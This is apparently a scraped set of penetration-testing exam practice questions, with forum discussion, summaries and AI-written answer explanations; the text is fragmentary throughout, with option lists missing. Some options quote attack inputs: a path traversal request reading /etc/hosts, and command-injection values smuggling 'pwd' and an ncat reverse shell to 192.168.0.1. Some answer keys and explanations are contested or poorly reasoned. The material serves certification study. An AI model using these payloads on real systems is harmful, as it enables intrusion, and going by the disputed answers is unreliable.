", "question_type": "no_options", "has_images": true, "discussions": [{"username": "SimonR2", "date": "Thu 28 Dec 2023 14:55", "selected_answer": "", "content": "The tool selection will be WPScan, however I think the given answer is wrong for the pages to disallow for robot.txt. For Wordpress, it should be: \"/wp-admin\" and \"/wp-login.php\" - there is no \"/admin\" wordpress directory as default unless an administrator created it.\n\nIf you google the default Wordpress admin directories or ask Chatgpt you'll find the answer to be similar to this: By default, the WordPress admin login page is located at http://yoursite.com/wp-admin or http://yoursite.com/wp-login.php. Replace \"yoursite.com\" with your actual domain.", "upvotes": "9"}, {"username": "TiredOfTests", "date": "Wed 01 Nov 2023 17:10", "selected_answer": "", "content": "For the tool selection:\n\nGiven that this is a web application assessment and we are investigating the robots.txt file, WPScan would be the most suitable tool to use for further investigation, assuming the web application is based on WordPress. WPScan is specifically designed to scan WordPress websites for vulnerabilities.\n\nFor the entries in the robots.txt file that should be recommended for removal:\n\n Allow: /admin - This entry allows web crawlers to access the admin directory, which could expose sensitive information.\n Allow: /wp-login.php - Allowing access to the WordPress login page through robots.txt could attract unwanted attention from attackers.\n\nBoth of these entries expose sensitive areas of the web application to potential attackers and should be removed.", "upvotes": "8"}, {"username": "Dtones2423", "date": "Thu 13 Feb 2025 15:30", "selected_answer": "", "content": "I asked Gemini AI the exact question and it said “The two robots.txt entries a penetration tester should recommend for removal are:\n\n14 Allow: admin\n15 Allow: /wp-admin\nThese entries explicitly allow access to common administrative interfaces, which are prime targets for attackers. Removing them doesn't necessarily block access (as robots.txt is advisory), but it removes the invitation to attackers and discourages casual exploration. A properly secured site should already restrict access to these areas, but the robots.txt should not advertise their existence.” So ig that’s what I’m going with", "upvotes": "1"}, {"username": "BlackSkullz", "date": "Tue 19 Nov 2024 04:58", "selected_answer": "", "content": "While I do agree with what others are saying about wp-admin and wp-login.php, I also believe that User-Agent: * should be removed. User-Agent: * is explicitly allowing all web crawlers, and although it says Disallow: /search under it, not all web crawlers respect or listen to robots.txt so it's better to be safe than sorry", "upvotes": "1"}, {"username": "Nikamy", "date": "Thu 14 Nov 2024 12:24", "selected_answer": "", "content": "Entry 4: User-agent: acunetix — Explicitly indicates a vulnerability scanner, making it easier for attackers to tailor their approach.\nEntry 17: Allow: /wp-login.php — Exposes a sensitive login URL, which attackers could exploit.", "upvotes": "1"}, {"username": "Nikamy", "date": "Thu 14 Nov 2024 12:27", "selected_answer": "", "content": "I might actually go with /wp-admin and /wp-login.", "upvotes": "1"}, {"username": "Ta2oo", "date": "Sun 29 Sep 2024 21:17", "selected_answer": "", "content": "Since the robots.txt file reveals entries like /wp-admin and /wp-login.php, it suggests that the target may be running WordPress, making WPScan the ideal choice for further investigation.\n\n/admin URL does not exist by default. /wp-admin and /wp-login.php are critical parts of WordPress's administrative backend. Exposing these URLs in robots.txt can help attackers identify sensitive endpoints.", "upvotes": "1"}, {"username": "Etc_Shadow28000", "date": "Fri 05 Jul 2024 18:19", "selected_answer": "", "content": "WPSscan\n\nThis is because there are entries such as /wp-admin and /wp-login.php which are specific to WordPress sites. WPScan is specifically designed to find vulnerabilities in WordPress installations.\n\nEntries to Recommend for Removal\n\nThe two entries in the robots.txt file that the penetration tester should recommend for removal are:\n\n\t1.\tUser-agent: * (Entry 1) - Allowing all user agents could expose too much information to any crawler, including malicious ones.\n\t2.\tAllow: /wp-admin (Entry 16) - This entry could expose administrative directories, which is sensitive information that should not be disclosed.\n\nTherefore, the selections are:\n\n\t•\tTool: WPScan\n\t•\tEntries to recommend for removal:\n\t•\tUser-agent: *\n\t•\tAllow: /wp-admin", "upvotes": "2"}, {"username": "Cyber_Soter", "date": "Thu 25 Apr 2024 15:05", "selected_answer": "", "content": "In a robots.txt file, the \"Allow\" directive is used to explicitly allow access to specific URLs for web crawlers. However, if you want to restrict access to certain sensitive or administrative URLs, you would typically use the \"Disallow\" directive instead of \"Allow.\" Therefore, in this scenario, you would want to remove:\n\nAllow: /admin\nAllow: /wp-admin\n\nRemoving these directives would prevent web crawlers from accessing URLs related to administrative sections of the website (\"/admin\" and \"/wp-admin\"), which can help improve security by restricting unauthorized access to sensitive areas.\n\nAllow:/wp-login.php\nThis directive allows access to the \"/wp-login.php\" URL, which is typically the login page for WordPress sites. If you're aiming to restrict access to administrative areas, it's generally advisable to allow access to the login page so that legitimate users can authenticate and access the site's admin interface. Therefore, you would not remove this directive", "upvotes": "2"}, {"username": "CCSXorabove", "date": "Tue 23 Jul 2024 18:24", "selected_answer": "", "content": "/admin does not exist. Need to be User-agent:* and /wp-admin", "upvotes": "1"}, {"username": "LiveLaughToasterBath", "date": "Mon 29 Jan 2024 08:12", "selected_answer": "", "content": "The WordPress root directory contains the following files and folders: \n\n wp-admin\n wp-content\n wp-includes\n .htaccess\n index.php\n license.txt\n readme.html\n wp-activate.php\n wp-blog-header.php\n wp-comments-post.php\n wp-config-sample.php\n wp-cron.php\n wp-links-opml.php\n wp-load.php\n wp-login.php\n wp-mail.php\n wp-settings.php\n wp-signup.php\n wp-trackback.php\n xmlrpc.php\n wp-feed.php", "upvotes": "4"}], "discussion_summary": {"time_range": "the period from Q2 2021 to Q1 2025", "num_discussions": 11, "consensus": {"A": {"rationale": "the recommended tool is WPScan and the entries to recommend for removal are /wp-admin and /wp-login.php"}, "B": {"rationale": "Some opinions suggest that the entry for \"Allow: /admin\" is wrong because \"/admin\" directory does not exist as default in WordPress"}}, "key_insights": ["\"WPScan\" is designed to scan for WordPress-specific vulnerabilities", "exposing these in robots.txt could attract attackers", "removing \"User-Agent: *\" to restrict access to all web crawlers"], "summary_html": "From the internet discussion including the period from Q2 2021 to Q1 2025, the conclusion of the answer to this question is that the recommended tool is WPScan and the entries to recommend for removal are /wp-admin and /wp-login.php. The comments agree on using WPScan because the presence of entries like /wp-admin and /wp-login.php in the robots.txt file suggests the target website is based on WordPress, and WPScan is designed to scan for WordPress-specific vulnerabilities. Furthermore, the comments highlight that /wp-admin and /wp-login.php are critical administrative interfaces; exposing these in robots.txt could attract attackers. Some opinions suggest that the entry for \"Allow: /admin\" is wrong because \"/admin\" directory does not exist as default in WordPress. Additionally, some comments suggest removing \"User-Agent: *\" to restrict access to all web crawlers.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer.
\nReasoning:
\n The presence of `/wp-admin` and `/wp-login.php` in the `robots.txt` file strongly indicates that the target website is a WordPress site. WPScan is specifically designed to identify vulnerabilities in WordPress installations. Exposing administrative interfaces like `/wp-admin` and `/wp-login.php` in `robots.txt` makes them easier targets for malicious actors, thus should be removed.
\n\n Regarding the removal of entries, focusing on `/wp-admin` and `/wp-login.php` is crucial because:\n
The selection of WPScan and the removal of /wp-admin and /wp-login.php are based on the principle of reducing the attack surface and using tools appropriate for the identified technology (WordPress). This aligns with standard security best practices.
\n \n Citation:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following factors would a penetration tester MOST likely consider when testing at a location?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Determine if visas are required.", "html": "From the internet discussion from Q2 2021 to Q1 2025, the consensus answer to this question is C. Verify the tools being used are legal for use at all sites, which the reason is that legal compliance is of paramount importance and the use of illegal tools can lead to severe legal consequences. Another answer is D. Establish the time of the day when a test can occur, however, this opinion received less agreement from the internet, because it's an operational consideration, and compliance is more critical.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C. Verify the tools being used are legal for use at all sites.
\n
\nReasoning: A penetration tester must prioritize legal compliance above all else. Using illegal or unauthorized tools, regardless of location, can result in serious legal repercussions for both the tester and the organization employing them. Therefore, verifying the legality of the tools is paramount.
\n
\nWhy other options are less likely:\n
\nTherefore, confirming the legality of the tools is the most important factor.\n
\n\nThe choice of C is rooted in the core responsibility of a penetration tester to operate within legal boundaries. Ignoring this could have severe repercussions, making it the most critical factor to consider.\n
"}, {"folder_name": "topic_1_question_269", "topic": "1", "question_num": "269", "question": "A penetration tester who is performing a physical assessment has achieved physical access to a call center for the assessed company. The tester is able to move freely around the room.Which of the following attack types is most likely to result in the tester obtaining personal or confidential information quickly?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester who is performing a physical assessment has achieved physical access to a call center for the assessed company. The tester is able to move freely around the room.
Which of the following attack types is most likely to result in the tester obtaining personal or confidential information quickly?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is E. Shoulder surfing, which the reason is the comments agree that shoulder surfing is the correct answer.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer of E. Shoulder surfing.
\nReasoning:
\nGiven the scenario where a penetration tester has physical access to a call center and can move freely, shoulder surfing presents the most direct and immediate method to obtain personal or confidential information. Call centers often involve employees handling sensitive data on their screens or discussing it over the phone. A penetration tester can visually observe employees entering credentials, customer data, or other confidential information.
\nReasons for not choosing other options:\n
\nIn summary, shoulder surfing is the most efficient method for quickly obtaining personal or confidential information in this scenario, leveraging the tester's physical presence and the likelihood of sensitive data being visible in the call center.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers.
Which of the following actions would best enable the tester to perform phishing in a later stage of the assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D. Check for an open relay configuration, which the reason is an open relay allows anyone to send emails through the server without authentication, making it an ideal setup for phishing campaigns. Identifying an open relay would best enable the penetration tester to perform phishing in a later stage of the assessment. The comments also mention that other options such as testing for RFC-defined protocol conformance, attempting to brute force authentication, or performing a reverse DNS query and match to the service banner would not directly contribute to enabling phishing activities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D: Check for an open relay configuration.
\nReasoning:
\nAn open relay SMTP server allows anyone to send emails through it without authentication. This is a critical vulnerability because it enables malicious actors to send phishing emails that appear to originate from the target organization's server, significantly increasing the likelihood of success. By identifying an open relay, the penetration tester gains a valuable asset for a later-stage phishing campaign.
\nWhy the other options are not the best choice:\n
Therefore, identifying and leveraging an open relay configuration is the most direct and effective way to enable phishing during a penetration test.
\nSuggested Answer: D is the most appropriate answer.
"}, {"folder_name": "topic_1_question_271", "topic": "1", "question_num": "271", "question": "A company recently moved its software development architecture from VMs to containers. The company has asked a penetration tester to determine if the new containers are configured correctly against a DDoS attack.Which of the following should a tester perform FIRST?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company recently moved its software development architecture from VMs to containers. The company has asked a penetration tester to determine if the new containers are configured correctly against a DDoS attack.
Which of the following should a tester perform FIRST?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is D. Scan the containers for open ports, which the reason is that DDoS attacks often target services exposed through open ports. Scanning containers for open ports helps identify potential entry points for DDoS attacks and assess whether unnecessary services are exposed, which is critical in mitigating DDoS risks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D. Scan the containers for open ports.
\nReasoning:
\nWhen assessing a containerized environment for DDoS vulnerabilities, the initial and most crucial step is to identify potential attack vectors. Open ports represent the entry points through which a DDoS attack can be launched. Scanning the containers for open ports allows the penetration tester to:
\n
Therefore, scanning for open ports provides the most immediate and relevant information for assessing the container's vulnerability to DDoS attacks.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following script:![](\"topic_1_question_272/image_0.png\"/)
Which of the following describes True?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is B. A conditional, which the reason is True is a boolean value and in the context of a while loop, it functions as a conditional because the loop continues as long as the condition (True) is met. Other opinions, such as regarding A, C, and D are not correct because: True is not a while loop itself, it is a boolean value, and not an arithmetic operator.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is B. A conditional.
\nThe reason for choosing this answer is that 'True' is a Boolean value that can be used as a condition in a control flow statement. In the context of the provided script (a 'while' loop), 'True' acts as a conditional because the loop continues indefinitely as long as the condition (which is always 'True') is met.
\nThe other options are incorrect because:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security analyst is conducting an unknown environment test from 192.168.3.3. The analyst wants to limit observation of the penetration tester's activities and lower the probability of detection by intrusion protection and detection systems.
Which of the following Nmap commands should the analyst use to achieve this objective?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion spanning from Q4 2023 to Q1 2025, the conclusion of the answer to this question is D. nmap -scanflags SYNFIN 192.168.5.5, which the reason is the SYNFIN scan is the most effective choice for avoiding detection due to its unique approach and incomplete handshake behavior, making it stealthier because it sends only a SYN and FIN packet which is often ignored by firewalls and IDSes. Other options were discussed: Option A (nmap -F) is less stealthy as it sends more probes; Option B (nmap -datalength) doesn't significantly reduce the likelihood of detection; Option C (nmap -D) is incorrect because the decoy IP address is invalid and the syntax --scanflags is wrong.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and discussion, the AI assistant agrees with the suggested answer, which is D. nmap -scanflags SYNFIN 192.168.5.5.
\nThe reasoning for choosing this answer is that a SYN/FIN scan is less likely to be detected by intrusion detection and prevention systems because it doesn't complete the typical TCP handshake. Sending only SYN and FIN flags might be overlooked or treated as anomalous noise by some firewalls and IDSs, making it stealthier. This helps to limit the observation of the penetration tester's activities, which is the goal stated in the question.
\nThe reasons for not choosing the other options are as follows:\n
Therefore, the most effective choice for avoiding detection, while still performing a scan, is option D.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is validating whether input validation mechanisms have been implemented in a web application.
Which of the following should the tester use to determine whether the application is vulnerable to path traversal attacks?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer: From the internet discussion, the conclusion of the answer to this question is A. GET /image?filename=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts, which the reason is that it uses a path traversal attack payload, specifically \"…/\" (URL-encoded as \"%2f\"), to navigate up the directory structure and attempt to access the /etc/hosts file. The other options are incorrect:\n
The AI agrees with the suggested answer of A.
\nThe question asks for a method to test for path traversal vulnerabilities. Path traversal attacks exploit insufficient security validation/sanitization of user-supplied input file names, so that the attacker can pass file system traversal characters to access files or directories located outside the web server's root directory.
\nA is the correct answer because it employs a path traversal payload (..%2f) to navigate up the directory structure and attempt to access the /etc/hosts file, which is a common target in path traversal attacks. The %2f is the URL-encoded representation of the forward slash (/), used to bypass some input validation mechanisms. By repeatedly using ..%2f, the attacker tries to move up several directory levels to reach the root directory and then access the /etc/hosts file.\n
\nB is incorrect because GET /image?filename=lefitfe;pwd is more indicative of a command injection attempt. It tries to execute the pwd command after accessing the file. While command injection can sometimes be related to path traversal, this specific payload doesn't primarily target path traversal.
\nC is incorrect because POST /image?filename - appears to be a malformed attempt to inject a meta refresh tag. It is not a valid path traversal payload and seems to be attempting to redirect the user, possibly for phishing or other malicious purposes.
\nD is incorrect because POST /image?filename =yhtak;ncat --ssl 192.168.0.1 2222 is also indicative of a command injection attempt. It tries to use ncat to establish a reverse shell, which is a typical command injection payload.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester learned that when users request password resets, help desk analysts change users' passwords to 123change. The penetration tester decides to brute force an internet-facing webmail to check which users are still using the temporary password. The tester configures the brute-force tool to test usernames found on a text file and the password 123change.
Which of the following techniques is the penetration tester using?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is C. Password spraying, which the reason is that the penetration tester is attempting to log in to multiple accounts using the same password. Password spraying is a type of brute-force attack that uses a single password and tries it against multiple usernames. Option A (Brute-force attack) is a general term and password spraying is a type of brute-force attack. Option B (LDAP injection) and Option D (Kerberoasting) are not related to password spraying.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is C. Password spraying.
\nReasoning: The scenario describes a penetration tester attempting to log in to multiple accounts using a single, common password (\"123change\"). This is the defining characteristic of a password spraying attack. Password spraying aims to avoid account lockouts by trying the same password across many accounts, rather than trying many passwords against a single account. This aligns perfectly with the tester's actions.
\nWhy other options are incorrect:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment.
Which of the following would most likely produce useful information for additional testing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the consensus of the answer to this question is B. The comments agree with this answer because public code repositories associated with the target company can provide a wealth of information, including source code, documentation, software versions, and potential vulnerabilities. This information is invaluable for planning further testing stages. Other opinions suggest that A is also a good choice, but B is better because the developer may no longer have any useful information and chances are, this information was removed from the repository after they left. Options C and D are less likely to be used in the initial stages because they are not typically accessible without prior authorization or successful compromise.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B: Public code repositories associated with the target company's organization.
\n
\nReasoning: Public code repositories associated with the target company can reveal a significant amount of information relevant to penetration testing. This includes:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is a regulatory compliance standard that focuses on user privacy by implementing the right to be forgotten?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "NIST SP 800-53", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D, which the reason is referencing GDPR Article 17, which discusses the right to be forgotten.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is correct. The correct answer is D. GDPR.
\n
\nReasoning:
\nGDPR (General Data Protection Regulation) includes the \"right to be forgotten,\" officially known as the \"right to erasure.\" This allows individuals to request the deletion of their personal data when there is no compelling reason for its continued processing. This directly addresses user privacy.
\n
\nWhy other options are incorrect:
\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester developed the following script to be used during an engagement:![](\"topic_1_question_278/image_0.png\"/)
However, when the penetration tester ran the script, the tester received the following message:
socket.gaierror: [Errno -2] Name or service not known
Which of the following changes should the penetration tester implement to fix the script?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
![](\"topic_1_question_278/image_1.png\"/)
![](\"topic_1_question_278/image_2.png\"/)
![](\"topic_1_question_278/image_3.png\"/)
![](\"topic_1_question_278/image_4.png\"/)
\nAgree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is to change the line of code target = socket.gethostbyname(sys.argv[0]) to target = socket.gethostbyname(sys.argv[1]), which the reason is that sys.argv[0] contains the name of the script itself, not the arguments passed to it. sys.argv[1] is the correct way to retrieve the first argument (the target IP address).
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is A.
\nReasoning: The error \"socket.gaierror: [Errno -2] Name or service not known\" indicates a problem with resolving the hostname. The script attempts to resolve a hostname to an IP address using `socket.gethostbyname()`. The issue lies in how the target hostname is being retrieved from the command-line arguments.
\n `sys.argv` is a list containing the command-line arguments passed to the script. `sys.argv[0]` always contains the name of the script itself. Therefore, when the script tries to resolve `sys.argv[0]`, it's trying to resolve the script's name, which is unlikely to be a valid hostname. The intention is to resolve the target IP address or hostname provided as an argument when running the script.
\n To fix this, the script should use `sys.argv[1]` to access the first command-line argument, which represents the target IP address or hostname provided by the user. Therefore, changing the line to `target = socket.gethostbyname(sys.argv[1])` resolves the error.
\nWhy other options are incorrect:\n
Suggested Answer: A
\nReasoning: As detailed above, the core issue is the incorrect use of `sys.argv[0]` which contains the script name, not the intended target host. `sys.argv[1]` correctly retrieves the target hostname from the command line arguments.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester who was exclusively authorized to conduct a physical assessment noticed there were no cameras pointed at the dumpster for the target company. The penetration tester returned at night and collected garbage that contained receipts for recently purchased networking equipment. The models of equipment purchased are vulnerable to attack.
Which of the following is the most likely NEXT step for the penetration tester?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A. Alert the target company of the discovered information, which the reason is the comments agree that the question is asking what is the next best step after discovering some information. The users suggest that since Company ABC is only authorized to conduct a physical assessment, scanning the information does not fall under a physical assessment.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A. Alert the target company of the discovered information.
\nReasoning: The question specifies that the penetration tester was exclusively authorized to conduct a *physical* assessment. The pen tester has already gathered valuable intelligence (vulnerable equipment models). The most appropriate next step, especially considering ethical considerations and the scope of authorization, is to inform the target company of the findings. This allows the company to take appropriate remediation steps. Further actions like scanning the equipment (C) would likely fall outside the scope of the authorized physical assessment without explicit permission.
\nReasons for not choosing other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is attempting to get more people from a target company to download and run an executable. Which of the following would be the MOST effective way for the tester to achieve this objective?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Dropping USB flash drives around the company campus with the file on it", "html": "From the internet discussion from Q2 2023 to Q1 2025, the conclusion of the answer to this question is C. Sending a pretext email from the IT department before sending the download instructions later, which the reason is that it builds trust by sending an initial email that establishes credibility and sets the stage for the follow-up email. When the download instructions are sent, employees are more likely to trust and follow them, believing the request is legitimate. Other options, such as A, B, and D, are less effective because they either rely on physical access, raise suspicion, or are less predictable.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer: C. Sending a pretext email from the IT department before sending the download instructions later.
\n
\nReasoning:\nThis method is likely the most effective because it leverages social engineering to build trust. By sending a preliminary email from a seemingly legitimate source (the IT department), the attacker can establish credibility. This makes the subsequent email containing the download instructions appear more trustworthy, increasing the likelihood that employees will comply. This approach combines both authority and social proof, increasing effectiveness.\n
\nWhy other options are less effective:\n
\nThe effectiveness of option C stems from psychological principles of trust and authority, making it a more sophisticated and potentially successful approach in a penetration testing scenario.\n
"}, {"folder_name": "topic_1_question_281", "topic": "1", "question_num": "281", "question": "Which of the following documents describes activities that are prohibited during a scheduled penetration test?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following documents describes activities that are prohibited during a scheduled penetration test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "MSA", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. ROE describes test limitations., which the reason is ROE (Rules of Engagement) outlines the limitations of a security test.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is C (ROE).
\nThe ROE (Rules of Engagement) document specifically outlines the activities that are prohibited during a penetration test. This document defines the scope, limitations, and acceptable testing methods, ensuring that the penetration test stays within legal and ethical boundaries and does not disrupt normal business operations.
\n Here's why the other options are incorrect:\n
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile performing the scanning phase of a penetration test, the penetration tester runs the following command:
nmap -n -vv -sV -p- 10.10.10.23-28
After the Nmap scan is finished, the penetration tester notices all hosts seem to be down. Which of the following options should the penetration tester try NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer: From the internet discussion, the conclusion of the answer to this question is B. -Pn, which the reason is that the -Pn option tells Nmap to skip the host discovery phase and treat all hosts as if they are online, which is useful when hosts appear down due to ICMP blocking or other filtering mechanisms that prevent the discovery of active hosts. Option C, -sn, performs a ping scan (host discovery only) without port scanning, and is considered less effective because if ICMP is blocked, it won’t provide new insights. Other options like -sU and -sS are not the primary solution to the host discovery issue.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is B (-Pn), and the AI agrees with this recommendation.
\nReasoning: The initial Nmap scan reported all hosts as down, indicating a potential issue with host discovery. The -Pn option in Nmap instructs it to skip host discovery and treat all specified hosts as online. This is particularly useful in scenarios where ICMP (ping) is blocked by firewalls or other security measures, preventing Nmap from initially detecting the hosts.
\nWhy other options are not the best choices:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to accomplish ARP poisoning as part of an attack. Which of the following tools will the tester MOST likely utilize?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Wireshark", "html": "From the internet discussion, the conclusion of the answer to this question is D. Ettercap, which the reason is Ettercap is a comprehensive suite for man-in-the-middle attacks on LANs. It supports various attacks, including ARP poisoning, which allows the attacker to intercept and modify traffic between devices on the network by misleading them about MAC addresses.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D. Ettercap.
\nReasoning: Ettercap is a well-known and powerful tool specifically designed for man-in-the-middle attacks, including ARP poisoning. ARP poisoning involves sending malicious ARP packets to a local network to associate the attacker's MAC address with the IP address of another host, such as the default gateway. By doing so, the attacker can intercept traffic intended for that host. Ettercap automates and simplifies this process, making it a primary choice for penetration testers aiming to perform ARP poisoning attacks.
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester executes the following Nmap command and obtains the following output:![](\"topic_1_question_284/image_0.png\"/)
Which of the following commands would BEST help the penetration tester discover an exploitable service?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
\n
Option A, which targets SMTP port 25, is not as valuable as the database.\n
\nBased on the question and the discussion, the AI agrees with the suggested answer B.
\n
\nReasoning:
\nThe Nmap scan reveals that port 3306 (MySQL) is open, and the service is \"unauthorized\". This suggests a potential misconfiguration or vulnerability in the MySQL service. The command `nmap -v --script=mysql-info.nse remotehost` is the best option to further investigate this potential vulnerability because the `mysql-info.nse` script is designed to gather information about MySQL servers, which could reveal exploitable details such as version information, available plugins, and user privileges.
\n
\nWhy other options are less suitable:
\n* **Option A:** `nmap -v -p 25 --script smtp-enum-users remotehost` targets SMTP (port 25) and attempts to enumerate users. While this is a valid penetration testing technique, the initial Nmap scan does not indicate any specific issues with the SMTP service. The \"unauthorized\" MySQL service presents a more promising initial target.
\n* **Option C:** `nmap --script=smb-brute.nse remotehost` uses the `smb-brute.nse` script, which attempts to brute-force SMB logins. The initial Nmap scan doesn't reveal any open SMB ports (445), making this option irrelevant.
\n* **Option D:** `nmap -p 3306 --script \"http*vuln*\" remotehost` attempts to run HTTP vulnerability scripts against port 3306. While port 3306 is open, it is running MySQL, not HTTP. Running HTTP scripts against a MySQL service is unlikely to produce useful results. The more targeted `mysql-info.nse` script is a better choice.
\n
\nTherefore, targeting the \"unauthorized\" MySQL service with a script specifically designed to gather MySQL information is the best approach to discover an exploitable service in this scenario.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would BEST support compromising company systems?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "A side-channel attack", "html": "Based on the internet discussion from Q2 2023 to Q3 2024, the consensus answer is C. A watering-hole attack. The reason is that this attack involves compromising a website frequented by the target group (company employees) to deliver malware or exploit vulnerabilities. Specifically, by compromising the external web server frequently visited by employees, the red team can inject malicious code. Other options are not correct because: A is not directly related to compromising systems via a compromised web server; B does not specifically leverage the fact that employees are frequenting the server; and D, while XSS could be a component, is typically more limited in scope than a watering-hole attack.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is C (A watering-hole attack), and the AI agrees with this selection.
\nReasoning: A watering-hole attack is precisely designed to compromise systems used by a specific group of users by infecting a website they commonly visit. In this scenario, the red team has already compromised an external web server frequented by employees. This positions them perfectly to implement a watering-hole attack by injecting malicious code into the web server to target those employees. When the employees visit the compromised server, their systems can be infected, allowing the red team to pivot into the company's internal network.
\nWhy other options are incorrect:\n
\nCitation:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and features, but they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be used by each of the exploits targeted to a specific version.
Which of the following terms is used to describe this common log-in code example?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer: From the internet discussion, the conclusion of the answer to this question is B. Library, which the reason is that a library is a collection of pre-written, reusable code. This allows the penetration tester to reuse the login code across multiple exploits, promoting code reuse and efficiency. Other options like Conditional, Dictionary, and Subapplication do not describe reusable code.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is B. Library.
\nReasoning: The question describes a scenario where a penetration tester creates a common log-in code that can be reused across multiple exploits targeting different versions of a software package. This perfectly aligns with the definition of a library in programming. A library is a collection of pre-written, reusable code modules that can be incorporated into different programs to perform specific tasks. In this case, the common log-in code functions as a library, providing a reusable component for authentication across various exploits. This promotes code reuse, reduces redundancy, and improves the overall efficiency of the penetration testing process.\n
\nReasons for not choosing the other options:\n
\nCitation: Definition of Library in programming.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would be BEST suited to perform a cloud security assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "OpenVAS", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. Scout Suite, which the reason is Scout Suite is a multi-cloud security auditing tool designed to assess the security posture of cloud environments.
